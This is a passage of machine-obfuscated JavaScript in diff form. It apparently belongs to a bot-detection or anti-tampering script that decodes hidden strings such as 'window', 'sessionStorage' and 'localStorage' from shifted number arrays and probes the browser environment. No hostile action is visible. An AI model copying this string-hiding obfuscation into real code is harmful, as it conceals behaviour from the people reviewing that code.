for (_$KP = 0; _$KP < _$CP.length; _$KP++) { + _$Qv = _$DP; + _$Wv = _$CP; + _$Yv = _$KP; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$DP = _$Ev + } + _$Qv = _$CP; + _$Wv = _$LC; + _$Yv = _$jP; + _$Ov = _$Qv[_$Wv](_$Yv); + _$CP = _$Ov; + _$Qv = _$za + _$Ea + _$Ra + _$Za; + _$QP = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r = _$Uh; + var _$c = _$DA; + var _$v = _$Vu; + var _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y; + for (_$s = 0; _$s < _$a.length; _$s++) { + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$e; + _$o = _$t === _$i; + if (_$o) { + _$n = _$s; + return _$n + } + } + _$n = []; + _$k = _$n; + _$f = _$c + _$r + _$v; + _$b = _$f; + for (_$l = _$b.length - 1; _$l >= 0; _$l--) { + _$n = _$k; + _$f = _$LC; + _$t = _$b; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$k; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$k = _$i; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 4; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$EC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$k; + _$f = _$b; + _$t = _$n + _$f; + _$y = _$t; + _$n = []; + _$b = _$n; + for (_$l = _$b.length - 1; _$l >= 4; _$l--) { + _$n = _$b; + _$f = _$LC; + _$t = _$y; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$b; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$b = _$i; + _$n = _$zC; + _$b += _$n; + _$n = _$ZC; + _$b += _$n; + _$n = _$_C; + _$b += _$n; + _$n = _$zC; + _$b += _$n; + _$n = _$y; + _$k = _$n; + _$n = _$b; + _$y = _$n; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 7; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$NC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$GC; + _$k += _$n; + _$n = 1; + _$f = -_$n; + return _$f + } + ; + _$WP = _$Wv; + _$Yv = _$Na + _$Oa + _$Ne + _$Wa + _$Ua + _$Ga + _$Pa + _$Ya; + _$YP = _$Yv; + _$Ov = _$YP; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$UP = _$Gv; + _$Zv = 0; + _$zP = _$Zv; + _$Qv = []; + _$EP = _$Qv; + _$Qv = _$QP; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$OP = _$Pv; + for (_$RP = 0; _$RP < _$OP; _$RP++) { + _$Qv = _$YP; + _$Wv = _$QP; + _$Yv = _$_C; + _$Ov = _$zP; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$WP(_$Qv, _$Pv); + _$ZP = _$Gv; + _$zP++; + _$Qv = _$YP; + _$Wv = _$QP; + _$Yv = _$_C; + _$Ov = _$zP; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$WP(_$Qv, _$Pv); + _$NP = _$Gv; + _$zP++; + _$Qv = _$YP; + _$Wv = _$QP; + _$Yv = _$_C; + _$Ov = _$zP; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$WP(_$Qv, _$Pv); + _$GP = _$Gv; + _$zP++; + _$Qv = _$YP; + _$Wv = _$QP; + _$Yv = _$_C; + _$Ov = _$zP; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$WP(_$Qv, _$Pv); + _$PP = _$Gv; + _$zP++; + _$Qv = _$EP; + _$Wv = _$RP; + _$Yv = _$ZP; + _$Ov = _$UP; + _$Pv = _$Yv * _$Ov; + _$Gv = _$UP; + _$Zv = _$Pv * _$Gv; + _$Ev = _$UP; + _$_v = _$Zv * _$Ev; + _$Vv = _$NP; + _$qv = _$UP; + _$Hv = _$Vv * _$qv; + _$xv = _$UP; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$GP; + _$$v = _$UP; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$PP; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$OP = _$Qv; + for (_$_P = 0; _$_P < _$EP.length; _$_P++) { + _$Qv = _$EP; + _$Wv = _$_P; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$OP += _$Ov + } + _$Qv = _$IW; + _$Wv = _$OP; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$DP; + _$Pv = _$Yv === _$Ov; + _$uP = _$Pv; + _$Qv = _$nh; + _$LP = _$Qv; + _$Wv = 1; + _$VP = _$Wv; + _$Qv = _$VP; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$VP = _$Yv; + _$Qv = 1; + _$LP = _$Qv; + _$Qv = _$BC; + _$qP = _$Qv; + _$Qv = _$VP; + _$LP = _$Qv; + _$Qv = 1904; + _$Wv = 1680; + _$Yv = 1760; + _$Ov = 1600; + _$Pv = 1776; + _$Gv = 1904; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$VP = _$Zv; + for (_$HP = 0; _$HP < _$VP.length; _$HP++) { + _$Qv = _$qP; + _$Wv = _$VP; + _$Yv = _$HP; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$qP = _$Ev + } + _$Qv = _$VP; + _$Wv = _$LC; + _$Yv = _$LP; + _$Ov = _$Qv[_$Wv](_$Yv); + _$VP = _$Ov; + _$Qv = this; + _$Wv = _$qP; + _$Yv = _$Qv[_$Wv]; + _$oY = _$Yv; + _$Qv = _$TP; + if (_$Qv) { + for (_$xP = 0; _$xP < 32; _$xP++) { + _$Qv = 1; + _$Wv = 40; + _$Yv = _$Qv + _$Wv; + _$Ov = 50; + _$Pv = _$Yv + _$Ov; + _$BP = _$Pv; + _$Gv = 0; + _$XP = _$Gv; + _$Zv = _$OW++; + _$FP = _$Zv; + _$Qv = _$FP; + _$Wv = 2858; + _$Yv = 6443; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 21910; + _$Zv = 27387; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 367319; + _$qv = 134039; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$FP = _$xv; + _$Qv = _$FP; + _$Wv = 374730; + _$Yv = 141450; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$JP = _$Pv; + _$Gv = _$JP; + _$Zv = 69; + _$Ev = 50; + _$_v = _$Zv + _$Ev; + _$Vv = 50; + _$qv = _$_v + _$Vv; + _$Hv = _$BP; + _$xv = _$qv - _$Hv; + _$Bv = 1; + _$Xv = _$xv + _$Bv; + _$Fv = _$Gv * _$Xv; + _$$v = _$BP; + _$es = _$Fv + _$$v; + _$$P = _$es; + _$Qv = _$AW; + _$Wv = _$LC; + _$Yv = _$XP; + _$Ov = _$$P; + _$Pv = _$Yv ^ _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = _$WY; + _$aG = _$Qv; + _$Wv = _$sh; + _$eG = _$Wv; + _$Yv = 1; + _$rG = _$Yv; + _$Qv = _$rG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$rG = _$Yv; + _$Qv = 1; + _$eG = _$Qv; + _$Qv = _$BC; + _$cG = _$Qv; + _$Qv = _$rG; + _$eG = _$Qv; + _$Qv = 36864; + _$Wv = 43008; + _$Yv = 39424; + _$Ov = 38912; + _$Pv = 35840; + _$Gv = 58368; + _$Zv = 49664; + _$Ev = 55808; + _$_v = 51712; + _$Vv = 42496; + _$qv = 51712; + _$Hv = 59392; + _$xv = 35328; + _$Bv = 55296; + _$Xv = 51712; + _$Fv = 55808; + _$$v = 51712; + _$es = 56320; + _$ts = 59392; + _$ds = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts]; + _$rG = _$ds; + for (_$vG = 0; _$vG < _$rG.length; _$vG++) { + _$Qv = _$cG; + _$Wv = _$rG; + _$Yv = _$vG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$cG = _$Ev + } + _$Qv = _$rG; + _$Wv = _$LC; + _$Yv = _$eG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$rG = _$Ov; + _$Qv = _$vh; + _$sG = _$Qv; + _$Wv = 1; + _$nG = _$Wv; + _$Qv = _$nG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$nG = _$Yv; + _$Qv = 1; + _$sG = _$Qv; + _$Qv = _$BC; + _$fG = _$Qv; + _$Qv = _$nG; + _$sG = _$Qv; + _$Qv = 222; + _$Wv = 196; + _$Yv = 212; + _$Ov = 202; + _$Pv = 198; + _$Gv = 232; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$nG = _$Zv; + for (_$tG = 0; _$tG < _$nG.length; _$tG++) { + _$Qv = _$fG; + _$Wv = _$nG; + _$Yv = _$tG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$fG = _$Ev + } + _$Qv = _$nG; + _$Wv = _$LC; + _$Yv = _$sG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$nG = _$Ov; + _$Qv = _$GW; + _$Wv = _$cG; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$fG; + _$Pv = _$Yv === _$Ov; + _$uP = _$Pv; + _$Gv = _$ch; + _$iG = _$Gv; + _$Zv = 1; + _$oG = _$Zv; + _$Qv = _$oG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$oG = _$Yv; + _$Qv = 1; + _$iG = _$Qv; + _$Qv = _$BC; + _$kG = _$Qv; + _$Qv = _$oG; + _$iG = _$Qv; + _$Qv = 7360; + _$Wv = 6464; + _$Yv = 6912; + _$Ov = 6528; + _$Pv = [_$Qv, _$Wv, _$Yv, _$Ov]; + _$oG = _$Pv; + for (_$bG = 0; _$bG < _$oG.length; _$bG++) { + _$Qv = _$kG; + _$Wv = _$oG; + _$Yv = _$bG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$kG = _$Ev + } + _$Qv = _$oG; + _$Wv = _$LC; + _$Yv = _$iG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$oG = _$Ov; + _$Qv = _$aG; + _$Wv = _$kG; + _$Yv = _$Qv[_$Wv]; + _$GW = _$Yv; + _$Qv = _$TP; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$xP = 0; _$xP < 32; _$xP++) { + _$Qv = 160; + _$Wv = 10; + _$Yv = _$Qv + _$Wv; + _$lG = _$Yv; + _$Ov = 0; + _$hG = _$Ov; + _$Pv = _$OW; + _$gG = _$Pv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$gG; + _$Wv = 15462; + _$Yv = 6161; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 22614; + _$Zv = 26683; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 108509; + _$qv = 124771; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$gG = _$xv; + _$Qv = _$gG; + _$Wv = 299940; + _$Yv = 66660; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$uG = _$Pv; + _$Qv = _$uG; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$pG = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$pG; + _$Wv = 12974; + _$Yv = 3673; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 25812; + _$Zv = 23485; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 137571; + _$qv = 95709; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$pG = _$xv; + _$Qv = _$pG; + _$Wv = 323207; + _$Yv = 89927; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$uG = _$Pv; + _$Qv = _$uG; + _$uW = _$Qv + } + _$Qv = _$uG; + _$Wv = 127; + _$Yv = 90; + _$Ov = _$Wv + _$Yv; + _$Pv = _$lG; + _$Gv = _$Ov - _$Pv; + _$Zv = 1; + _$Ev = _$Gv + _$Zv; + _$_v = _$Qv * _$Ev; + _$Vv = _$lG; + _$qv = _$_v + _$Vv; + _$yG = _$qv; + _$Qv = _$AW; + _$Wv = _$LC; + _$Yv = _$hG; + _$Ov = _$yG; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = []; + _$$W = _$Qv; + _$Qv = _$PY; + _$wG = _$Qv; + _$Wv = _$IW; + _$dG = _$Wv; + _$Yv = _$rh; + _$MG = _$Yv; + _$Ov = 1; + _$IG = _$Ov; + _$Qv = _$IG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$IG = _$Yv; + _$Qv = 1; + _$MG = _$Qv; + _$Qv = _$BC; + _$AG = _$Qv; + _$Qv = _$IG; + _$MG = _$Qv; + _$Qv = 1884160; + _$Wv = 1654784; + _$Yv = 1884160; + _$Ov = 1884160; + _$Pv = 1720320; + _$Gv = 1818624; + _$Zv = 1802240; + _$Ev = 1359872; + _$_v = 1900544; + _$Vv = 1818624; + _$qv = 1867776; + _$Hv = 1589248; + _$xv = 1687552; + _$Bv = 1654784; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$IG = _$Xv; + for (_$SG = 0; _$SG < _$IG.length; _$SG++) { + _$Qv = _$AG; + _$Wv = _$IG; + _$Yv = _$SG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 14; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$AG = _$Ev + } + _$Qv = _$IG; + _$Wv = _$LC; + _$Yv = _$MG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$IG = _$Ov; + _$Qv = _$eh; + _$mG = _$Qv; + _$Wv = 1; + _$TG = _$Wv; + _$Qv = _$TG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$TG = _$Yv; + _$Qv = 1; + _$mG = _$Qv; + _$Qv = _$BC; + _$jG = _$Qv; + _$Qv = _$TG; + _$mG = _$Qv; + _$Qv = 454656; + _$Wv = 401408; + _$Yv = 434176; + _$Ov = 413696; + _$Pv = 405504; + _$Gv = 475136; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$TG = _$Zv; + for (_$CG = 0; _$CG < _$TG.length; _$CG++) { + _$Qv = _$jG; + _$Wv = _$TG; + _$Yv = _$CG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$jG = _$Ev + } + _$Qv = _$TG; + _$Wv = _$LC; + _$Yv = _$mG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$TG = _$Ov; + _$Qv = _$PY; + _$Wv = _$AG; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$jG; + _$Pv = _$Yv === _$Ov; + _$DG = _$Pv; + _$Gv = _$wG; + _$Zv = _$dG; + _$Ev = _$Gv == _$Zv; + _$KG = _$Ev; + _$_v = _$oY; + _$QG = _$_v; + _$Vv = _$rY; + _$WG = _$Vv; + _$qv = _$DY; + _$YG = _$qv; + _$Hv = _$ah; + _$UG = _$Hv; + _$xv = 1; + _$OG = _$xv; + _$Qv = _$OG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OG = _$Yv; + _$Qv = 1; + _$UG = _$Qv; + _$Qv = _$BC; + _$PG = _$Qv; + _$Qv = _$OG; + _$UG = _$Qv; + _$Qv = 57344; + _$Wv = 51712; + _$Yv = 58368; + _$Ov = 52224; + _$Pv = 56832; + _$Gv = 58368; + _$Zv = 55808; + _$Ev = 49664; + _$_v = 56320; + _$Vv = 50688; + _$qv = 51712; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$OG = _$Hv; + for (_$GG = 0; _$GG < _$OG.length; _$GG++) { + _$Qv = _$PG; + _$Wv = _$OG; + _$Yv = _$GG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$PG = _$Ev + } + _$Qv = _$OG; + _$Wv = _$LC; + _$Yv = _$UG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$OG = _$Ov; + _$Qv = _$$l; + _$NG = _$Qv; + _$Wv = 1; + _$ZG = _$Wv; + _$Qv = _$ZG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$ZG = _$Yv; + _$Qv = 1; + _$NG = _$Qv; + _$Qv = _$BC; + _$zG = _$Qv; + _$Qv = _$ZG; + _$NG = _$Qv; + _$Qv = 1776; + _$Wv = 1568; + _$Yv = 1696; + _$Ov = 1616; + _$Pv = 1584; + _$Gv = 1856; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$ZG = _$Zv; + for (_$EG = 0; _$EG < _$ZG.length; _$EG++) { + _$Qv = _$zG; + _$Wv = _$ZG; + _$Yv = _$EG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$zG = _$Ev + } + _$Qv = _$ZG; + _$Wv = _$LC; + _$Yv = _$NG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ZG = _$Ov; + _$Qv = _$PY; + _$Wv = _$PG; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$zG; + _$Pv = _$Yv === _$Ov; + _$RG = _$Pv; + _$Qv = _$KG; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$QG; + _$Ns = _$WG; + _$Wv = _$ks == _$Ns + } + _$KG = _$Wv; + _$Qv = _$Jl; + _$_G = _$Qv; + _$Wv = 1; + _$LG = _$Wv; + _$Qv = _$LG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$LG = _$Yv; + _$Qv = 1; + _$_G = _$Qv; + _$Qv = _$BC; + _$VG = _$Qv; + _$Qv = _$LG; + _$_G = _$Qv; + _$Qv = 14208; + _$Wv = 12544; + _$Yv = 13568; + _$Ov = 12928; + _$Pv = 12672; + _$Gv = 14848; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$LG = _$Zv; + for (_$qG = 0; _$qG < _$LG.length; _$qG++) { + _$Qv = _$VG; + _$Wv = _$LG; + _$Yv = _$qG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$VG = _$Ev + } + _$Qv = _$LG; + _$Wv = _$LC; + _$Yv = _$_G; + _$Ov = _$Qv[_$Wv](_$Yv); + _$LG = _$Ov; + _$Qv = _$Fl; + _$HG = _$Qv; + _$Wv = 1; + _$xG = _$Wv; + _$Qv = _$xG; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$xG = _$Yv; + _$Qv = 1; + _$HG = _$Qv; + _$Qv = _$BC; + _$BG = _$Qv; + _$Qv = _$xG; + _$HG = _$Qv; + _$Qv = 1840; + _$Wv = 1616; + _$Yv = 1840; + _$Ov = 1840; + _$Pv = 1680; + _$Gv = 1776; + _$Zv = 1760; + _$Ev = 1328; + _$_v = 1856; + _$Vv = 1776; + _$qv = 1824; + _$Hv = 1552; + _$xv = 1648; + _$Bv = 1616; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$xG = _$Xv; + for (_$XG = 0; _$XG < _$xG.length; _$XG++) { + _$Qv = _$BG; + _$Wv = _$xG; + _$Yv = _$XG; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$BG = _$Ev + } + _$Qv = _$xG; + _$Wv = _$LC; + _$Yv = _$HG; + _$Ov = _$Qv[_$Wv](_$Yv); + _$xG = _$Ov; + _$Qv = _$PY; + _$Wv = _$BG; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$VG; + _$Pv = _$Yv === _$Ov; + _$FG = _$Pv; + _$Gv = _$rY; + _$JG = _$Gv; + _$Zv = _$GW; + _$$G = _$Zv; + _$Qv = _$KG; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$JG; + _$Ns = _$$G; + _$Wv = _$ks == _$Ns + } + _$Yv = _$Wv; + if (_$Yv) { + _$Hs = _$QG; + _$xs = _$YG; + _$Yv = _$Hs == _$xs + } + _$KG = _$Yv; + _$Qv = _$KG; + if (_$Qv) { + for (_$aN = 0; _$aN < 35; _$aN++) { + _$Qv = 1; + _$Wv = 10; + _$Yv = _$Qv + _$Wv; + _$Ov = 90; + _$Pv = _$Yv + _$Ov; + _$eN = _$Pv; + _$Gv = 0; + _$rN = _$Gv; + _$Zv = _$hY++; + _$cN = _$Zv; + _$Qv = _$cN; + _$Wv = 5983; + _$Yv = 3318; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 70747; + _$Zv = 21450; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 95810; + _$qv = 137470; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$cN = _$xv; + _$Qv = _$cN; + _$Wv = 141376; + _$Yv = 91904; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$Gv = 79; + _$Zv = 40; + _$Ev = _$Gv + _$Zv; + _$_v = 60; + _$Vv = _$Ev + _$_v; + _$qv = _$eN; + _$Hv = _$Vv - _$qv; + _$xv = 1; + _$Bv = _$Hv + _$xv; + _$Xv = _$Pv * _$Bv; + _$Fv = _$eN; + _$$v = _$Xv + _$Fv; + _$vN = _$$v; + _$Qv = _$$W; + _$Wv = _$LC; + _$Yv = _$rN; + _$Ov = _$vN; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = _$KG; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$aN = 0; _$aN < 35; _$aN++) { + _$Qv = 140; + _$Wv = 40; + _$Yv = _$Qv + _$Wv; + _$sN = _$Yv; + _$Ov = 0; + _$nN = _$Ov; + _$Pv = _$OW++; + _$fN = _$Pv; + _$Qv = _$fN; + _$Wv = 5778; + _$Yv = 3523; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 63518; + _$Zv = 14221; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 150501; + _$qv = 82779; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$fN = _$xv; + _$Qv = _$fN; + _$Wv = 141736; + _$Yv = 91544; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$tN = _$Pv; + _$Gv = _$tN; + _$Zv = 117; + _$Ev = 110; + _$_v = _$Zv + _$Ev; + _$Vv = _$sN; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$sN; + _$Fv = _$Bv + _$Xv; + _$iN = _$Fv; + _$Qv = _$$W; + _$Wv = _$LC; + _$Yv = _$nN; + _$Ov = _$iN; + _$Pv = _$Yv ^ _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = _$$W; + _$vY = _$Qv; + _$Qv = _$KG; + _$Wv = !_$Qv; + if (_$Wv) { + _$Qv = []; + _$vY = _$Qv; + for (_$aN = 0; _$aN < 5; _$aN++) { + _$Qv = 140; + _$Wv = 40; + _$Yv = _$Qv + _$Wv; + _$oN = _$Yv; + _$Ov = 0; + _$kN = _$Ov; + _$Pv = _$OW++; + _$bN = _$Pv; + _$Qv = _$bN; + _$Wv = 11846; + _$Yv = 2545; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 72482; + _$Zv = 23185; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 343704; + _$qv = 110424; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$bN = _$xv; + _$Qv = _$bN; + _$Wv = 373855; + _$Yv = 140575; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$lN = _$Pv; + _$Gv = _$lN; + _$Zv = 117; + _$Ev = 110; + _$_v = _$Zv + _$Ev; + _$Vv = _$oN; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$oN; + _$Fv = _$Bv + _$Xv; + _$hN = _$Fv; + _$Qv = _$vY; + _$Wv = _$LC; + _$Yv = _$kN; + _$Ov = _$hN; + _$Pv = _$Yv ^ _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = []; + _$IY = _$Qv; + _$Qv = 0; + _$gN = _$Qv; + _$Wv = 0; + _$uN = _$Wv; + _$Yv = 0; + _$pN = _$Yv; + _$Ov = _$OW++; + _$yN = _$Ov; + _$Qv = _$yN; + _$Wv = 11982; + _$Yv = 2681; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 72742; + _$Zv = 23445; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 103873; + _$qv = 129407; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$yN = _$xv; + _$Qv = _$yN; + _$Wv = 392799; + _$Yv = 159519; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$wN = _$Pv; + _$Gv = _$wN; + _$Zv = _$zW; + _$Ev = _$PC; + _$_v = _$Zv[_$Ev]; + _$Vv = 1; + _$qv = _$_v - _$Vv; + _$Hv = _$uN; + _$xv = _$qv - _$Hv; + _$Bv = 1; + _$Xv = _$xv + _$Bv; + _$Fv = _$Gv * _$Xv; + _$$v = _$uN; + _$es = _$Fv + _$$v; + _$dN = _$es; + _$Qv = _$IY; + _$Wv = _$LC; + _$Yv = _$zW; + _$Ov = _$pN; + _$Pv = _$dN; + _$Gv = _$Ov ^ _$Pv; + _$Zv = _$Yv[_$Gv]; + _$Ev = 80; + _$_v = _$Zv - _$Ev; + _$Vv = _$gN++; + _$qv = _$_v - _$Vv; + _$Hv = _$MY; + _$xv = _$wY++; + _$Bv = _$Hv[_$xv]; + _$Xv = _$qv ^ _$Bv; + _$Qv[_$Wv](_$Xv); + _$Qv = 0; + _$MN = _$Qv; + _$Wv = 0; + _$IN = _$Wv; + _$Yv = _$OW; + _$AN = _$Yv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$AN; + _$Wv = 15911; + _$Yv = 6610; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 20520; + _$Zv = 28777; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 332191; + _$qv = 98911; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$AN = _$xv; + _$Qv = _$AN; + _$Wv = 295486; + _$Yv = 62206; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$SN = _$Pv; + _$Qv = _$SN; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$mN = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$mN; + _$Wv = 2994; + _$Yv = 6307; + _$Ov = _$Wv + 